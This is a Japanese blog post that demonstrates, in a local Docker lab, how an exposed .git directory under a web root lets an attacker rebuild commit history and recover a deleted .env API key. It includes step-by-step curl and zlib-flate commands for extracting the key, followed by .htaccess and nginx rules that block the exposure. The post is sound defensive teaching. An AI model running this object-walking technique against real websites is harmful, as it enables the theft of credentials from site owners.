Q. ドキュメントルート以下に.gitを置くとどうなるか

**A. それはもう大変なことになる**

## はじめに
ドキュメントルート以下に `.git` が閲覧可能な状態であるとします。

```:こんな感じ
/var/www/html/
├── .git/
│   ├── HEAD
│   ├── config
│   ├── objects/
│   ├── refs/
│   └── ...
├── .gitignore
├── index.php
├── style.css
└── script.js
```

↑ のWebサイトについて攻撃者の視点から考えた場合、以下のような流れで情報を抜ける可能性があります。

**1. `/.git/HEAD` にアクセス**

- データを返す ⇒ 攻撃可能なサイトとして認識される
- 現在のブランチが漏洩する

```.git/HEAD
ref: refs/heads/main
```

**2. `/.git/refs/heads/main` にアクセス**

- 手順1で確認できた現在のブランチの情報を元に main ブランチの現在のコミットハッシュを取得できる

```.git/refs/heads/main
07826ee6eb234f9c660d2c1db9ba930c49cc04d3
```

**3. `/.git/objects/07/826ee6eb234f9c660d2c1db9ba930c49cc04d3` にアクセス**

- 手順2で確認できた40桁のハッシュを元に `.git/objects` 以下のファイル（Git オブジェクト）を取得
  - `07826ee6eb234f9c660d2c1db9ba930c49cc04d3` の先頭2文字 `07` がフォルダとなり、残りの38桁 `826ee6eb234f9c660d2c1db9ba930c49cc04d3` がファイル名となります

:::note warn
話がややこしくなる＆私自身しっかりと理解できていない状態のため端折りますが、この Git オブジェクトは物理的に必ず存在するものということもなさそうです。
例を挙げると既存のリポジトリをクローンのみ実施した状態で、`.git/objects` 以下に2桁の Git オブジェクトを格納するフォルダが1つも存在しないことを確認しました。
これについては Git の `パックファイル` や `gc` について調べていくと何かわかるかも。
:::

**4. ダウンロードした Git オブジェクトの中身を覗く**

```bash
$ cat 826ee6eb234f9c660d2c1db9ba930c49cc04d3 | zlib-flate -uncompress
commit 242tree 02488d1c3f89135dce0c7f8592e7f85bce043ee4
parent c546ed1c78cc9676b6cfa9c5a12e130f04f89383
author [ユーザー] <[メールアドレス]> 1740965208 +0900
committer [ユーザー] <[メールアドレス]> 1740965208 +0900

コミットメッセージ
```

:::note
Git オブジェクトと呼ばれるファイルは zlib で圧縮されています。
WSL2（Ubuntu 20.04）環境では zlib で圧縮されたファイルを展開するために `zlib-flate` コマンドが利用できます。
`zlib-flate` は [qpdf](https://packages.ubuntu.com/focal/qpdf) パッケージに含まれるので以下の手順でインストールします。
```bash
$ sudo apt-get install qpdf
```
:::

**5. ツリーオブジェクトを取得し、中身から重要なファイルの情報を見つける**

- コミットオブジェクト内の `tree <hash>` のハッシュに対応する Git オブジェクト（ツリーオブジェクト）を取得
- 取得したツリーオブジェクトを `zlib-flate` で展開し、中身に目的のファイルが含まれてるか確認

**6-A. 目的のファイルが含まれている場合**

- 目的のファイルに対応するハッシュを元に Git オブジェクト（Blob オブジェクト）を取得
- 取得した Blob オブジェクトを `zlib-flate` で展開して目的達成

**6-B. 目的のファイルが含まれていない場合**

- コミットオブジェクト内の `parent <hash>` のハッシュを遡っていく
  - 3～5の手順を繰り返していくということです

:::note warn
この手作業の手順について自動化したツールなんかも探すと見つかりました:scream:
この記事では紹介しません。
:::

## 検証用に脆弱な状態のアプリケーションを開発する
:::note
検証とはいえインターネット上に脆弱な状態の `.git` を配置するのは怖いので、WSL2（Ubuntu 20.04）環境下で `php:apache` の Docker イメージを活用した Docker 環境を立てての検証を行いました。
:::

**:notebook: 検証内容**

`.env` への外からのアクセスについて適切な遮断の設定を行った状態で、Git の変更履歴から `.env` の内容を抜けることを検証します

**:desktop: 環境情報**
- Windows 10、WSL2（Ubuntu 20.04）
- git version 2.25.1
- Docker version 27.5.1, build 9f9e405
- qpdf 9.1.1-1ubuntu0.1 amd64

### 1. 検証用環境構築
空のフォルダ作成 → `git init` → Docker 環境を起動するところまでを1つの作業として実施し、発生した差異をコミットするところまでを最初の手順とします

```bash
$ mkdir dotgit_on_documentroot_demo && cd $_
$ git init
Initialized empty Git repository in /home/tikuwa/workspace/dotgit_on_documentroot_demo/.git/
```

---
Dockerfile 作成
```Dockerfile:.docker/app/Dockerfile
FROM composer:2.8.6  as composer

FROM php:8.4.4-apache AS shared
SHELL ["/bin/bash", "-oeux", "pipefail", "-c"]

ARG UID=1000
ARG GID=1000
ENV COMPOSER_HOME=/composer
RUN groupmod -o -g ${GID} www-data && \
    usermod -o -u ${UID} -g www-data www-data

COPY --from=composer /usr/bin/composer /usr/bin/composer

RUN apt-get update && \
    apt-get -y --no-install-recommends install \
    git \
    unzip && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/* && \
    mkdir ${COMPOSER_HOME} && \
    chown -R www-data: ${COMPOSER_HOME} && \
    a2enmod rewrite

WORKDIR /var/www/html

USER www-data
```

---
上記の Dockerfile を読み込む compose.yml 作成
```yml:compose.yml
services:
  app:
    build:
      context: ./
      dockerfile: ./.docker/app/Dockerfile
    ports:
      - "80:80"
    volumes:
      - .:/var/www/html:cached
```
- [php:apache](https://hub.docker.com/_/php) の Docker イメージを使用しているためコンテナ内では httpd が稼働しています
- `.git` を含むカレントと httpd のデフォルトのドキュメントルート（`/var/www/html`）についてボリューム共有を行うことでホストPCのブラウザから `http://localhost/.git/~~` のようなアクセスを可能とします

---
Docker 環境起動
```bash
$ docker compose up -d

~~~省略~~~

[+] Running 3/3
 ✔ app                                          Built                                                                       0.0s 
 ✔ Network dotgit_on_documentroot_demo_default  Created                                                                     0.3s 
 ✔ Container dotgit_on_documentroot_demo-app-1  Started                                                                     0.5s

$ docker ps
CONTAINER ID   IMAGE                             COMMAND                  CREATED          STATUS          PORTS                NAMES
daddde85655d   dotgit_on_documentroot_demo-app   "docker-php-entrypoi…"   12 seconds ago   Up 11 seconds   0.0.0.0:80->80/tcp   dotgit_on_documentroot_demo-app-1
```

---
コミット ⇒ ブランチ名について main に上書き設定
```bash
$ git add .
$ git commit -m "first commit."
[master (root-commit) 166552a] first commit.
 2 files changed, 35 insertions(+)
 create mode 100644 .docker/app/Dockerfile
 create mode 100644 compose.yml

$ git branch
* master

$ git branch -M main
$ git branch
* main 
 ```
 - 冒頭に書いた通りリモートへのプッシュなどは実施しません

#### 動作確認
ホストPCのブラウザから `http://localhost/.git/config` にアクセスできることを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/f297ee0f-2b6b-4698-b47d-685615b10075.png)

---
同様に `http://localhost/.git/HEAD` から現在のブランチの情報を確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/2e07bf1a-fb1f-456f-880d-4eef21b555dc.png)

---
`http://localhost/.git/refs/heads/main` からコミットのハッシュを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/df242cfc-5847-420a-8797-08bd7baaa01a.png)

```:.git/refs/heads/main
166552a2c7fd47b7343cb09f09481b4b65d5c387
```

---
取得した40桁のコミットハッシュのうち先頭2桁 の `16`、残り38桁の `6552a2c7fd47b7343cb09f09481b4b65d5c387` に合致するファイルの存在をエクスプローラー上でも確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/e52335e0-b805-44d9-abca-2cd5832de58b.png)

↓

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/dfaa8488-71a8-4e96-8138-a7d1546bd2ca.png)

---
`http://localhost/.git/objects/16/6552a2c7fd47b7343cb09f09481b4b65d5c387` へアクセスしコミットに対応する Git オブジェクトをダウンロードできることを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/be466bc4-d425-4b20-a693-195ecfe320a6.png)

### 2. .env、.htaccess 作成

プロジェクトルートの `.env` に適当な公開してはいけない API キーを1つ作成

```.env
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
```

---
`.env` へのアクセスについて 404 エラーとする設定を含む `.htaccess` を作成
```conf:.htaccess
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/\.env [NC]
RewriteRule .* - [R=404,L]
```

---
`.env` と `.htaccess` をコミット
```bash
$ git add .
$ git commit -m "second commit."
[main bdb1f90] second commit.
 2 files changed, 4 insertions(+)
 create mode 100644 .env
 create mode 100644 .htaccess
```

#### 動作確認
`http://localhost/.env` にアクセス`.htaccess` の設定によって `.env` にアクセスできないことを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/e92e8098-a450-4f77-bb82-d50f4cb50bdd.png)

---
ここまでの Git のログは以下の通り
```diff
$ git log
+commit bdb1f90edd2c8650c878fb5e83b5a154e8e4acca (HEAD -> main)
+Author: imo-tikuwa <メールアドレス>
+Date:   Tue Mar 11 21:16:48 2025 +0900
+
+    second commit.
+
commit 166552a2c7fd47b7343cb09f09481b4b65d5c387
Author: imo-tikuwa <メールアドレス>
Date:   Tue Mar 11 21:06:49 2025 +0900

    first commit.
```

### 3. `.env` について適切な Git 管理を行う修正
:::note
1つ前の [2. .env、.htaccess 作成](#2-envhtaccess-作成) で実施した変更履歴だけだと情報漏洩の検証手順がシンプルすぎて事の問題点が分かりづらいです。
ということで今回は一度誤って Git 管理してしまった `.env` について、後付けで適切な Git 管理を行うという修正を実施します
:::

まずは Git 管理中の `.env` を削除

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/a3e6c321-ebf4-45a9-8643-0477afbff417.png)

---
`.env.example` というファイルで環境変数のキーのみを管理するよう修正
```.env.example
SOME_IMPORTANT_APIKEY=
```

---
`.env` は Git 管理しないような `.gitignore` 設定を新規で作成
```.gitignore
.env
```

---
変更内容をステージ
```bash
$ git add .
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/1037d905-424f-4341-aff0-f48ba2f34a5a.png)

---
改めて `.env` を作成
```.env
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/2d500321-c761-4968-be71-17328eda3c2f.png)

---
`.env` の削除、`.env.example`、`.gitignore` の3ファイルをコミット
```bash
$ git commit -m "third commit."
[main 6040f55] third commit.
 3 files changed, 2 insertions(+), 1 deletion(-)
 delete mode 100644 .env
 create mode 100644 .env.example
 create mode 100644 .gitignore
```

---
そのまま続けて `.env` に記載のAPIキーを元に HTTP クライアントのライブラリを用いて適当なデータを取得、表示するようなコードを作成します。

---
`composer init` を実行
```bash
$ docker compose exec app composer init

                                            
  Welcome to the Composer config generator  
                                            


This command will guide you through creating your composer.json config.

Package name (<vendor>/<name>) [root/html]: 
Description []: 
Author [n to skip]: n
Minimum Stability []: 
Package Type (e.g. library, project, metapackage, composer-plugin) []: 
License []: 

Define your dependencies.

Would you like to define your dependencies (require) interactively [yes]? n
Would you like to define your dev dependencies (require-dev) interactively [yes]? n
Add PSR-4 autoload mapping? Maps namespace "Root\Html" to the entered relative path. [src/, n to skip]: n

{
    "name": "root/html",
    "require": {}
}

Do you confirm generation [yes]? 
Would you like the vendor directory added to your .gitignore [yes]?
```

---
PHP で `.env` を扱うのに [vlucas/phpdotenv](https://github.com/vlucas/phpdotenv) をインストール
更に、HTTP クライアントライブラリの [Guzzle](https://packagist.org/packages/guzzlehttp/guzzle) をインストール

```bash
$ docker compose exec app composer require vlucas/phpdotenv

~~~省略~~~

Using version ^5.6 for vlucas/phpdotenv

$ docker compose exec app composer require guzzlehttp/guzzle

~~~省略~~~

Using version ^7.9 for guzzlehttp/guzzle
```

---
`.env` で管理する API キーの情報を付加して、適当な検証用のサイト HTTP クライアントリクエストを送信、適当な応答を受けそのダンプを出力するような適当な画面を作成します。
今回の検証の中ではリクエスト先について [JSONPlaceholder](https://jsonplaceholder.typicode.com/) を利用させていただきました。
```php:index.php
<?php

require_once 'vendor/autoload.php';

use Dotenv\Dotenv;
use GuzzleHttp\Client;

$dotenv = Dotenv::createImmutable(__DIR__);
$dotenv->load();

$apiKey = $_ENV['SOME_IMPORTANT_APIKEY'] ?? null;
if (!$apiKey) {
    die("APIキーが設定されていません。");
}

try {
    $client = new Client();
    $response = $client->request('GET', 'https://jsonplaceholder.typicode.com/posts/1', [
        'headers' => [
            'Authorization' => "Bearer {$apiKey}",
            'Accept' => 'application/json',
        ]
    ]);

    $body = json_decode($response->getBody(), true);
} catch (\Exception $e) {
    die("APIリクエストに失敗しました: " . $e->getMessage());
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>APIレスポンス</title>
</head>
<body>
    <p><strong>タイトル:</strong> <?php echo htmlspecialchars($body['title'] ?? 'N/A'); ?></p>
    <p><strong>内容:</strong> <?php echo nl2br(htmlspecialchars($body['body'] ?? 'N/A')); ?></p>
</body>
</html>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/ea8d17f1-097a-4100-9c2c-6a1acc11ec85.png)

---
composer の操作によって発生した `composer.json`、`composer.lock`、`.gitignore` と、新規作成した index.php など計4ファイルをコミット
```bash
$ git add .
$ git commit -m "4th commit."
[main 32ae9c9] 4th commit.
 4 files changed, 1125 insertions(+), 1 deletion(-)
 create mode 100644 composer.json
 create mode 100644 composer.lock
 create mode 100644 index.php
```

#### 動作確認
`http://localhost/.env` および `http://localhost/.env.example` は `.htaccess` の設定によってアクセスできないことを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/b6ae4e8d-22a6-4659-afcc-d9ee4a75318b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/f787e973-eff4-4ccf-9a50-6cc24804a29c.png)

---
ここまでの Git のログは以下の通り
```diff
$ git log
+commit 32ae9c9acac423361c6319c86f6211485f31c513 (HEAD -> main)
+Author: imo-tikuwa <メールアドレス>
+Date:   Tue Mar 11 21:35:53 2025 +0900
+
+    4th commit.
+
+commit 6040f557cd7eaf94646bcbeb20150b4e831765f7
+Author: imo-tikuwa <メールアドレス>
+Date:   Tue Mar 11 21:28:07 2025 +0900
+
+    third commit.
+
commit bdb1f90edd2c8650c878fb5e83b5a154e8e4acca
Author: imo-tikuwa <メールアドレス>
Date:   Tue Mar 11 21:16:48 2025 +0900

    second commit.

commit 166552a2c7fd47b7343cb09f09481b4b65d5c387
Author: imo-tikuwa <メールアドレス>
Date:   Tue Mar 11 21:06:49 2025 +0900

    first commit.
```
- 作業ブランチなどは作らずに main ブランチで4回のコミットを行いました

## 検証環境からコマンド操作によって重要な情報を抜く
1つ前の章で作成した検証用のアプリケーションからの重要な情報の奪取を試みます。

ブラウザでURLをポチポチ入力 ⇒ ダウンロードを繰り返すのは手間なので、ここからは `http://localhost` に対して curl コマンドを介した情報取得を行っていきます

```bash
$ cd ..
$ mkdir dotgit_objects_collection && cd $_
```
curl で取得したファイルを保管する収集用ディレクトリを作成、カレント移動

---
**1. `/.git/HEAD` からカレントのブランチを確認**
```bash
$ curl -sS http://localhost/.git/HEAD
ref: refs/heads/main
```

---
**2. `/.git/refs/heads/main` から main ブランチのコミットハッシュ取得**
```bash
$ curl -sS http://localhost/.git/refs/heads/main
32ae9c9acac423361c6319c86f6211485f31c513
```
ここで取得できるハッシュに対応する Git オブジェクトはオブジェクトの種類（ツリー/コミット/Blob）でいうところのコミットオブジェクトで確定（のはず？）

---
**3. `/.git/objects/32/ae9c9acac423361c6319c86f6211485f31c513` の Git オブジェクト取得**
```bash
$ mkdir 32
$ curl -sS -o 32/ae9c9acac423361c6319c86f6211485f31c513 http://localhost/.git/objects/32/ae9c9acac423361c6319c86f6211485f31c513

$ ls -l 32/
total 4
-rw-r--r-- 1 tikuwa tikuwa 160 Mar 11 22:32 ae9c9acac423361c6319c86f6211485f31c513

$ cat 32/ae9c9acac423361c6319c86f6211485f31c513 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree a249622babe924215969c139ec63e04d450b92cf
parent 6040f557cd7eaf94646bcbeb20150b4e831765f7
author imo-tikuwa <メールアドレス> 1741696553 +0900
committer imo-tikuwa <メールアドレス> 1741696553 +0900

4th commit.
```
- curl でローカルにダウンロードした Git オブジェクトについて、`cat ⇒ zlib-flate ⇒ perl` のコマンド操作を行うことで Git オブジェクトの中身の情報が取得できました

<details>
<summary>zlib-flate -uncompress の結果を渡している perl スクリプトについて</summary>

`perl -pe 's/^[^\x00]*\x00//'` の perl スクリプトのパイプを付加しなかった場合、以下のような出力になります。
```bash
$ cat 32/ae9c9acac423361c6319c86f6211485f31c513 | zlib-flate -uncompress
commit 242tree a249622babe924215969c139ec63e04d450b92cf
parent 6040f557cd7eaf94646bcbeb20150b4e831765f7
author imo-tikuwa <メールアドレス> 1741696553 +0900
committer imo-tikuwa <メールアドレス> 1741696553 +0900

4th commit.
```

`zlib-flate -uncompress` の出力によって得られる Git オブジェクトの情報にはヘッダー情報が含まれます。
↑ の例では `commit 242` の部分がヘッダー情報です。

読めはしますが `git cat-file -p <hash>` で確認できる出力と比べて先頭行に少しだけ情報が付与されてしまいます。これが Git オブジェクトのヘッダー情報なわけですが、今回は `| perl -pe 's/^[^\x00]*\x00//'` という perl スクリプトを通し最初の \x00（NULLバイト）までのヘッダー部分を除いた結果を取得しています。
</details>

---
**4. `/.git/objects/60/40f557cd7eaf94646bcbeb20150b4e831765f7` の Git オブジェクト取得**

`4th commit.` の parent に記載されているハッシュから親のコミットオブジェクトを取得します
```bash
$ mkdir 60
$ curl -sS -o 60/40f557cd7eaf94646bcbeb20150b4e831765f7 http://localhost/.git/objects/60/40f557cd7eaf94646bcbeb20150b4e831765f7

$ ls -l 60/
total 4
-rw-r--r-- 1 tikuwa tikuwa 161 Mar 11 23:12 40f557cd7eaf94646bcbeb20150b4e831765f7

$ cat 60/40f557cd7eaf94646bcbeb20150b4e831765f7 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree 9dda45766d284e6210007a47e5cb6b426b7f199e
parent bdb1f90edd2c8650c878fb5e83b5a154e8e4acca
author imo-tikuwa <メールアドレス> 1741696087 +0900
committer imo-tikuwa <メールアドレス> 1741696087 +0900

third commit.
```

---
**5. `/.git/objects/9d/da45766d284e6210007a47e5cb6b426b7f199e` の Git オブジェクト取得**

`third commit.` の tree に記載されているハッシュからツリーオブジェクトを取得します
```bash
$ mkdir 9d
$ curl -sS -o 9d/da45766d284e6210007a47e5cb6b426b7f199e http://localhost/.git/objects/9d/da45766d284e6210007a47e5cb6b426b7f199e

$ ls -l 9d/
total 4
-rw-r--r-- 1 tikuwa tikuwa 190 Mar 11 23:25 da45766d284e6210007a47e5cb6b426b7f199e
```

ツリーオブジェクトは展開後のデータにバイナリを含むため読める情報を取得するために `hexdump` や `xxd` のようなコマンドを用います。
取得した結果の `オフセット + 16進数 + ASCII文字列` のうち、右側の `ASCII文字列` に `.env` と思わしき文字列が含まれるかをチェック（3番目のコミットでは `.env` について削除をしているため含まれない）
```
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | hexdump -C
00000000  74 72 65 65 20 31 38 38  00 34 30 30 30 30 20 2e  |tree 188.40000 .|
00000010  64 6f 63 6b 65 72 00 36  af 0b bd d9 05 55 d6 ba  |docker.6.....U..|
00000020  8a 37 6c 34 0d 2b 34 17  3c ba 59 31 30 30 36 34  |.7l4.+4.<.Y10064|
00000030  34 20 2e 65 6e 76 2e 65  78 61 6d 70 6c 65 00 8a  |4 .env.example..|
00000040  de f1 6c 5d 7d 7d d4 71  a4 cc 9c d2 a2 65 3e fc  |..l]}}.q.....e>.|
00000050  ff 51 3e 31 30 30 36 34  34 20 2e 67 69 74 69 67  |.Q>100644 .gitig|
00000060  6e 6f 72 65 00 2e ea 52  5d 88 5d 51 48 10 8f 6f  |nore...R].]QH..o|
00000070  3a 9a 86 13 86 3f 78 3d  36 31 30 30 36 34 34 20  |:....?x=6100644 |
00000080  2e 68 74 61 63 63 65 73  73 00 46 23 f2 f2 83 3d  |.htaccess.F#...=|
00000090  a4 7f 8c 64 27 0d 26 8a  24 b4 36 e1 45 e5 31 30  |...d'.&.$.6.E.10|
000000a0  30 36 34 34 20 63 6f 6d  70 6f 73 65 2e 79 6d 6c  |0644 compose.yml|
000000b0  00 c8 95 b3 38 2b 16 fd  5e b6 7a 08 b9 63 5f fe  |....8+..^.z..c_.|
000000c0  df 8f f4 31 bd                                    |...1.|
```

<details>
<summary>xxd を使った場合</summary>

`hexdump` の代わりに `xxd` を使った場合も同じ情報は取得できました
```
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | xxd -C
00000000: 7472 6565 2031 3838 0034 3030 3030 202e  tree 188.40000 .
00000010: 646f 636b 6572 0036 af0b bdd9 0555 d6ba  docker.6.....U..
00000020: 8a37 6c34 0d2b 3417 3cba 5931 3030 3634  .7l4.+4.<.Y10064
00000030: 3420 2e65 6e76 2e65 7861 6d70 6c65 008a  4 .env.example..
00000040: def1 6c5d 7d7d d471 a4cc 9cd2 a265 3efc  ..l]}}.q.....e>.
00000050: ff51 3e31 3030 3634 3420 2e67 6974 6967  .Q>100644 .gitig
00000060: 6e6f 7265 002e ea52 5d88 5d51 4810 8f6f  nore...R].]QH..o
00000070: 3a9a 8613 863f 783d 3631 3030 3634 3420  :....?x=6100644 
00000080: 2e68 7461 6363 6573 7300 4623 f2f2 833d  .htaccess.F#...=
00000090: a47f 8c64 270d 268a 24b4 36e1 45e5 3130  ...d'.&.$.6.E.10
000000a0: 3036 3434 2063 6f6d 706f 7365 2e79 6d6c  0644 compose.yml
000000b0: 00c8 95b3 382b 16fd 5eb6 7a08 b963 5ffe  ....8+..^.z..c_.
000000c0: df8f f431 bd                             ...1.
```
- 16進数について4桁ずつまとまって表示される
- ASCII文字列の外枠が無い

```
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | xxd -g1 -C
00000000: 74 72 65 65 20 31 38 38 00 34 30 30 30 30 20 2e  tree 188.40000 .
00000010: 64 6f 63 6b 65 72 00 36 af 0b bd d9 05 55 d6 ba  docker.6.....U..
00000020: 8a 37 6c 34 0d 2b 34 17 3c ba 59 31 30 30 36 34  .7l4.+4.<.Y10064
00000030: 34 20 2e 65 6e 76 2e 65 78 61 6d 70 6c 65 00 8a  4 .env.example..
00000040: de f1 6c 5d 7d 7d d4 71 a4 cc 9c d2 a2 65 3e fc  ..l]}}.q.....e>.
00000050: ff 51 3e 31 30 30 36 34 34 20 2e 67 69 74 69 67  .Q>100644 .gitig
00000060: 6e 6f 72 65 00 2e ea 52 5d 88 5d 51 48 10 8f 6f  nore...R].]QH..o
00000070: 3a 9a 86 13 86 3f 78 3d 36 31 30 30 36 34 34 20  :....?x=6100644 
00000080: 2e 68 74 61 63 63 65 73 73 00 46 23 f2 f2 83 3d  .htaccess.F#...=
00000090: a4 7f 8c 64 27 0d 26 8a 24 b4 36 e1 45 e5 31 30  ...d'.&.$.6.E.10
000000a0: 30 36 34 34 20 63 6f 6d 70 6f 73 65 2e 79 6d 6c  0644 compose.yml
000000b0: 00 c8 95 b3 38 2b 16 fd 5e b6 7a 08 b9 63 5f fe  ....8+..^.z..c_.
000000c0: df 8f f4 31 bd                                   ...1.
```
- `xxd -C` に `-g1` オプションを付けると `hexdump -C` の出力に近くなった

</details>

---
**6. `/.git/objects/bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca` の Git オブジェクト取得**

`third commit.` の parent に記載されているハッシュから親のコミットオブジェクトを取得します
```bash
$ mkdir bd
$ curl -sS -o bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca http://localhost/.git/objects/bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca

$ ls -l bd/
total 4
-rw-r--r-- 1 tikuwa tikuwa 164 Mar 11 23:36 b1f90edd2c8650c878fb5e83b5a154e8e4acca

$ cat bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree 1d19c91df3a33115fd239713db30c7a2ab76eea0
parent 166552a2c7fd47b7343cb09f09481b4b65d5c387
author imo-tikuwa <メールアドレス> 1741695408 +0900
committer imo-tikuwa <メールアドレス> 1741695408 +0900

second commit.
```

---
**7. `/.git/objects/1d/19c91df3a33115fd239713db30c7a2ab76eea0` の Git オブジェクト取得**

`second commit.` の tree に記載されているハッシュからツリーオブジェクトを取得します
```bash
$ mkdir 1d
$ curl -sS -o 1d/19c91df3a33115fd239713db30c7a2ab76eea0 http://localhost/.git/objects/1d/19c91df3a33115fd239713db30c7a2ab76eea0

$ ls -l 1d/
total 4
-rw-r--r-- 1 tikuwa tikuwa 150 Mar 11 23:46 19c91df3a33115fd239713db30c7a2ab76eea0
```

ツリーオブジェクトの中身を確認（ASCII文字列の中から2番目のコミットで誤って Git 管理した `.env` と思わしき文字列を発見）
```
$ cat 1d/19c91df3a33115fd239713db30c7a2ab76eea0 | zlib-flate -uncompress | hexdump -C
00000000  74 72 65 65 20 31 34 32  00 34 30 30 30 30 20 2e  |tree 142.40000 .|
00000010  64 6f 63 6b 65 72 00 36  af 0b bd d9 05 55 d6 ba  |docker.6.....U..|
00000020  8a 37 6c 34 0d 2b 34 17  3c ba 59 31 30 30 36 34  |.7l4.+4.<.Y10064|
00000030  34 20 2e 65 6e 76 00 f6  84 ff e4 78 f3 b4 15 7e  |4 .env.....x...~|
00000040  bb d6 1f 9f ba 00 ea b6  14 e9 71 31 30 30 36 34  |..........q10064|
00000050  34 20 2e 68 74 61 63 63  65 73 73 00 46 23 f2 f2  |4 .htaccess.F#..|
00000060  83 3d a4 7f 8c 64 27 0d  26 8a 24 b4 36 e1 45 e5  |.=...d'.&.$.6.E.|
00000070  31 30 30 36 34 34 20 63  6f 6d 70 6f 73 65 2e 79  |100644 compose.y|
00000080  6d 6c 00 c8 95 b3 38 2b  16 fd 5e b6 7a 08 b9 63  |ml....8+..^.z..c|
00000090  5f fe df 8f f4 31 bd                              |_....1.|
00000097
```

---
**8. ツリーオブジェクトのダンプから Blob オブジェクトのハッシュを取得**

`.env` ファイルの実体は Blob オブジェクトというこれまでに確認してきたコミットオブジェクトやツリーオブジェクトとは異なる種類の Git オブジェクトに格納されています。
というわけで今度は `.env` に対応する Blob オブジェクトのハッシュの取得を試みます。

以下は手順7で取得したツリーオブジェクトのダンプの `.env` に関する情報の抜粋です。
```
00000030  34 20 2e 65 6e 76 00 f6  84 ff e4 78 f3 b4 15 7e  |4 .env.....x...~|
00000040  bb d6 1f 9f ba 00 ea b6  14 e9 71 31 30 30 36 34  |..........q10064|
```

ツリーオブジェクト内の1ファイル辺りの情報は `<ファイルのモード><スペース><ファイル名><NULLバイト><Blob オブジェクトのハッシュ>` という並びで表現されています。

`.env` に対応する 16進数は以下に添付する対応表を見て分かる通り `2e 65 6e 76` です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2384986/43870acb-d1f9-4a1b-8cc0-b1b67225fd32.png)

ファイル名の後のNULLバイト（`00`）を飛ばして後続の40桁を抽出すると `f684ffe478f3b4157ebbd61f9fba00eab614e971` という文字列が得られました。
これが Blob オブジェクトのハッシュになります。

---
**9. `/.git/objects/f6/84ffe478f3b4157ebbd61f9fba00eab614e971` の Git オブジェクト取得**

Blob オブジェクトも他の Git オブジェクトと同様に `.git/objects` 以下に含まれるため、取得の仕方は同じになります。
```bash
$ mkdir f6
$ curl -sS -o f6/84ffe478f3b4157ebbd61f9fba00eab614e971 http://localhost/.git/objects/f6/84ffe478f3b4157ebbd61f9fba00eab614e971

$ ls -l f6/
total 4
-rw-r--r-- 1 tikuwa tikuwa 54 Mar 12 22:39 84ffe478f3b4157ebbd61f9fba00eab614e971

$ cat f6/84ffe478f3b4157ebbd61f9fba00eab614e971 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
```
**ドキュメントルート以下に `.git` が漏洩している状況下で Git オブジェクトを遡っていくことで、公開されていないファイルの情報を取得できました！**

## 対策
今回は `.git` の漏洩と変更履歴に重要な情報をハードコートするという2つの過ちの合わせ技によって外に公開されてはいけない API キーが漏洩するという流れの検証が行えました。

取れる対策については以下（当たり前のようなことしか書いてない）

- 重要な情報をプログラムにハードコートしない
- ドキュメントルート以下に `.git` を配置するような構成を作らない
  - 今時のフレームワークであればそもそもこのような構成にならない
- `.git` について利用しているWebサーバーが httpd の場合は設定ファイルもしくは `.htaccess`、nginx の場合は設定ファイルで一律アクセスを拒否するルールを追加
  - .（ドット）で始まるファイルは一律除外するくらいでもいいかも
  - ↑ だと Let's Encrypt の [.well-known/acme-challenge（HTTP-01 チャレンジ）](https://letsencrypt.org/ja/docs/challenge-types/#http-01-%E3%83%81%E3%83%A3%E3%83%AC%E3%83%B3%E3%82%B8) を使った証明書更新が動作しなくなるかもしれないのでその辺の考慮は必要かも

```conf:.htaccess (httpd の場合)
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(\.git|\.env) [NC]
RewriteRule .* - [R=404,L]
```

```conf:nginx.conf (nginx の場合)
location ~* /(\.git|\.env) {
    return 404;
}
```

## 参考サイト
Git オブジェクトについて公式のドキュメント:bow:

https://git-scm.com/book/ja/v2/Git%E3%81%AE%E5%86%85%E5%81%B4-Git%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88

---
以下のページは Git オブジェクトの種類など `.git` 内の歩き方について簡潔にまとまっており勉強になりました:bow:

https://zenn.dev/kaityo256/articles/objects_of_git

---
以下のページより hexdump / xxd コマンドのオプションの意味を知ることができました:bow:

https://atmarkit.itmedia.co.jp/ait/articles/1810/26/news039.html

https://atmarkit.itmedia.co.jp/ait/articles/1811/01/news036.html

---
以下のページの ASCII コード表について記事内の `.env` の16進数表記の確認に使用させていただきました:bow:

https://e-words.jp/p/r-ascii.html



## その他
